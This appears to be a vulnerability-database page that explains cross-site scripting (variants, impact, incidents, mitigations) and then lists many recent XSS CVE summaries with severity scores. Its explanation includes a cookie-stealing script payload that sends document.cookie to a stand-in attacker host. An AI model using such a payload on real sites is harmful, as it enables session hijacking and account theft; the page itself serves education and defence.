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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39068)

EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in MultiVendorX WC Marketplace allows Reflected XSS.1.17. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in LA-Studio LA-Studio Element Kit for Elementor allows Stored XSS.3.9.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Blockspare allows Stored XSS.2.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Parcel Panel ParcelPanel allows Reflected XSS.3.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Averta Depicter Slider allows Stored XSS.1.2. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Depicter Slider
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in AddonMaster Post Grid Master allows Reflected XSS.4.10. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Post Grid Master
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in PickPlugins ComboBlocks allows Stored XSS.2.86. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in iberezansky 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery allows Stored. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS 3d Flipbook
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Brainstorm Force Ultimate Addons for Beaver Builder - Lite allows Stored XSS.5.9. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Ultimate Addons For Beaver Builder
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

ZoneMinder is a free, open source closed-circuit television software application. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Zoneminder
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

ZoneMinder is a free, open source closed-circuit television software application. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Zoneminder
NVD GitHub
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in BannerSky BSK Forms Blacklist allows Reflected XSS.8. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Themeum Tutor LMS allows Stored XSS.7.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Tutor Lms
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WPDeveloper BetterDocs allows Stored XSS.5.8. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Betterdocs
NVD
EPSS 1% CVSS 8.6
HIGH POC This Week

Cross Site Scripting vulnerability in Martin Kucej i-librarian v.5.11.0 and before allows a local attacker to execute arbitrary code via the search function in the import component. Rated high severity (CVSS 8.6), this vulnerability is no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS I Librarian
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Collaboration
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0, issue 1 of 2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Collaboration
NVD
EPSS 20% CVSS 6.1
MEDIUM POC KEV THREAT This Month

An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Collaboration
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

SteVe is an open platform that implements different version of the OCPP protocol for Electric Vehicle charge points, acting as a central server for management of registered charge points. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Steve
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The MDx theme for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'mdx_list_item' shortcode in all versions up to, and including, 2.0.3 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in SourceCodester Kortex Lite Advocate Office Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Microsoft +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in SourceCodester Kortex Lite Advocate Office Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Microsoft +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic was found in SourceCodester Kortex Lite Advocate Office Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Microsoft +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic has been found in SourceCodester Kortex Lite Advocate Office Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Microsoft +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in SourceCodester Car Driving School Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Car Driving School Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in SourceCodester Car Driving School Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Car Driving School Management System
NVD VulDB GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability has been found in SourceCodester File Manager App 1.0 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Manager App
NVD VulDB
EPSS 1% CVSS 5.3
MEDIUM This Month

A vulnerability classified as problematic was found in Gila CMS 1.10.9. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Gila Cms
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

The Opal Membership plugin for WordPress is vulnerable to Stored Cross-Site Scripting via checkout form fields in all versions up to, and including, 1.2.4 due to insufficient input sanitization and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in SourceCodester Leads Manager Tool 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Leads Manager Tool
NVD GitHub VulDB
EPSS 0% CVSS 4.6
MEDIUM PATCH This Month

Concrete CMS versions 9.0.0 through 9.3.2 are affected by a stored XSS vulnerability in Board instances. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Concrete Cms
NVD
EPSS 0% CVSS 3.1
LOW PATCH Monitor

The Easy Digital Downloads - Sell Digital Files & Subscriptions (eCommerce Store + Payments Made Easy) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Agreement Text value. Rated low severity (CVSS 3.1), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Easy Digital Downloads
NVD
EPSS 0% CVSS 4.0
MEDIUM PATCH This Month

The Easy Digital Downloads - Sell Digital Files & Subscriptions (eCommerce Store + Payments Made Easy) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the currency value in all. Rated medium severity (CVSS 4.0), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Easy Digital Downloads
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Category Posts Widget WordPress plugin before 4.9.17, term-and-category-based-posts-widget WordPress plugin before 4.9.13 does not validate and escape some of its "Category Posts" widget settings. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Term And Category Based Posts Widget +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The wp-cart-for-digital-products WordPress plugin before 8.5.6 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Estore
NVD WPScan
EPSS 0% CVSS 6.5
MEDIUM POC This Month

The wp-cart-for-digital-products WordPress plugin before 8.5.6 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Estore
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's widgets. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Element Pack
NVD
EPSS 0% CVSS 5.1
MEDIUM PATCH This Month

Concrete CMS versions 9.0.0 to 9.3.2 and below 8.5.18 are vulnerable to Stored XSS in RSS Displayer when user input is stored and later embedded into responses. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Concrete Cms
NVD GitHub
EPSS 1% CVSS 10.0
CRITICAL PATCH Act Now

openHAB, a provider of open-source home automation software, has add-ons including the visualization add-on CometVisu. Rated critical severity (CVSS 10.0), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Server-Side Request Forgery (SSRF) vulnerability could allow attackers to make the server perform requests to unintended internal or external resources.

SSRF RCE XSS +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Typora before 1.9.3 Markdown editor has a cross-site scripting (XSS) vulnerability via the MathJax component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Typora
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Typora before 1.9.3 Markdown editor has a cross-site scripting (XSS) vulnerability via the Mermaid component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Typora
NVD
EPSS 1% CVSS 9.8
CRITICAL Act Now

AMTT Hotel Broadband Operation System (HiBOS) V3.0.3.151204 and before is vulnerable to SQL Injection via /manager/card/card_detail.php. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

SQLi PHP XSS +1
NVD GitHub
EPSS 1% CVSS 7.6
HIGH POC This Week

A Stored Cross Site Scripting (XSS) vulnerability was found in "/view_type.php" of Kashipara Live Membership System v1.0, which allows remote attackers to execute arbitrary code via membershipType. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Code Injection PHP XSS +2
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A Reflected Cross Site Scripting (XSS) vulnerability was found in "/oahms/search.php" in PHPGurukul Old Age Home Management System v1.0, which allows remote attackers to execute arbitrary code via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 1% CVSS 9.8
CRITICAL POC Act Now

An Unrestricted file upload vulnerability was found in "/Membership/edit_member.php" of Kashipara Live Membership System v1.0, which allows attackers to execute arbitrary code via uploading a crafted. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +2
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A Stored Cross Site Scripting (XSS) vulnerability was found in "/admin/view-enquiry.php" in PHPGurukul Old Age Home Management System v1.0, which allows remote attackers to execute arbitrary code via. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A Stored Cross Site Scripting (XSS) vulnerability was found in "/admin/afeedback.php" in Kashipara Online Exam System v1.0, which allows remote attackers to execute arbitrary code via "rname" and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A Reflected Cross Site Scripting (XSS) vulnerability was found in "edit-cate.php" in SourceCodester House Rental Management System v1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Best House Rental Management System
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A Stored Cross Site Scripting (XSS) vulnerability was found in "manage_houses.php" in SourceCodester Best House Rental Management System v1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM PATCH This Month

Concrete CMS versions 9 through 9.3.2 and below 8.5.18 are vulnerable to Stored XSS in getAttributeSetName(). Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Concrete Cms
NVD GitHub
EPSS 1% CVSS 9.0
CRITICAL PATCH Act Now

VRCX is an assistant/companion application for VRChat. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Vrcx
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A cross-site scripting issue has been discovered in GitLab affecting all versions starting from 5.1 prior 17.0.6, starting from 17.1 prior to 17.1.4, and starting from 17.2 prior to 17.2.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Gitlab XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Gutenberg Blocks with AI by Kadence WP WordPress plugin before 3.2.39 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Gutenberg Blocks With Ai
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Search & Filter Pro WordPress plugin before 2.5.18 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Search Filter
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Fuse Social Floating Sidebar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the file upload functionality in all versions up to, and including, 5.4.10 due to insufficient. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS File Upload +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Lightbox & Modal Popup WordPress Plugin - FooBox plugin for WordPress is vulnerable to DOM-based Stored Cross-Site Scripting via HTML data attributes in all versions up to, and including, 2.7.28. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Foobox
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Brizy - Page Builder plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.5.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

WordPress XSS CSRF +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Attackers can craft a malicious prompt that coerces the language model into executing arbitrary JavaScript in the context of the web page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Webui
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A Stored Cross Site Scripting (XSS) vulnerability was found in "/smsa/add_class_submit.php" in Responsive School Management System v3.2.0, which allows remote attackers to execute arbitrary code via. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A Reflected Cross Site Scripting (XSS) vulnerability was found in /smsa/student_login.php in Kashipara Responsive School Management System v3.2.0, which allows remote attackers to execute arbitrary. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A Reflected Cross Site Scripting (XSS) vulnerability was found in " /smsa/admin_login.php" in Kashipara Responsive School Management System v3.2.0, which allows remote attackers to execute arbitrary. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A Reflected Cross Site Scripting (XSS) vulnerability was found in " /smsa/teacher_login.php" in Kashipara Responsive School Management System v3.2.0, which allows remote attackers to execute. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco ISE could allow an authenticated, remote attacker to conduct an XSS attack against a user of the interface. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco XSS Identity Services Engine
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco ISE could allow an authenticated, remote attacker to conduct an XSS attack against a user of the interface. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco XSS Identity Services Engine
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Organization chart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘title_input’ and 'node_description' parameter in all versions up to, and including, 1.5.0 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Organization Chart
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Accept Stripe Payments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's accept_stripe_payment_ng shortcode in all versions up to, and including, 2.0.86 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The WordPress File Upload WordPress plugin before 4.24.8 does not properly sanitize and escape certain parameters, which could allow unauthenticated users to execute stored cross-site scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS File Upload +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The House Manager WordPress plugin through 1.0.8.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS House Manager
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

An unauthenticated attacker can exploit improper neutralization of input during web page generation in Microsoft Dynamics 365 to spoof over a network by tricking a user to click on a link. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Dynamics Crm Service Portal Web Resource
NVD
EPSS 1% CVSS 9.6
CRITICAL POC Act Now

Cross Site Scripting vulnerability in Koha ILS 23.05 and before allows a remote attacker to execute arbitrary code via the additonal-contents.pl component. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Koha
NVD
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

Qwik is a performance focused javascript framework. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Qwik
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

The contextual menu for links could provide an opportunity for cross-site scripting attacks This vulnerability affects Firefox for iOS < 129. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Apple XSS Mozilla +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Long pressing on a download link could potentially provide a means for cross-site scripting This vulnerability affects Firefox for iOS < 129. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Apple XSS Mozilla +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Long pressing on a download link could potentially allow Javascript commands to be executed within the browser This vulnerability affects Firefox for iOS < 129. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Apple XSS Mozilla +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A reflected cross-site scripting (XSS) vulnerability in Phpgurukul Tourism Management System v2.0 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Tourism Management System
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A vulnerability was discovered in the firmware builds up to 10.10.2.2 in Poly Clariti Manager devices. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Poly Clariti Manager
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability was discovered in the firmware builds up to 10.10.2.2 in Poly Clariti Manager devices. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Poly Clariti Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A Reflected Cross-site scripting (XSS) vulnerability exists in '/search' in microweber 2.0.15 and earlier allowing unauthenticated remote attackers to inject arbitrary web script or HTML via the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Microweber
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Firefox adds web-compatibility shims in place of some tracking scripts blocked by Enhanced Tracking Protection. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mozilla Firefox +1
NVD
EPSS 0% CVSS 8.1
HIGH This Week

A select option could partially obscure security prompts. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Google Mozilla +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Select options could obscure the fullscreen notification dialog. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mozilla Firefox +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Event Management System
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Event Management System
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Event Management System
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

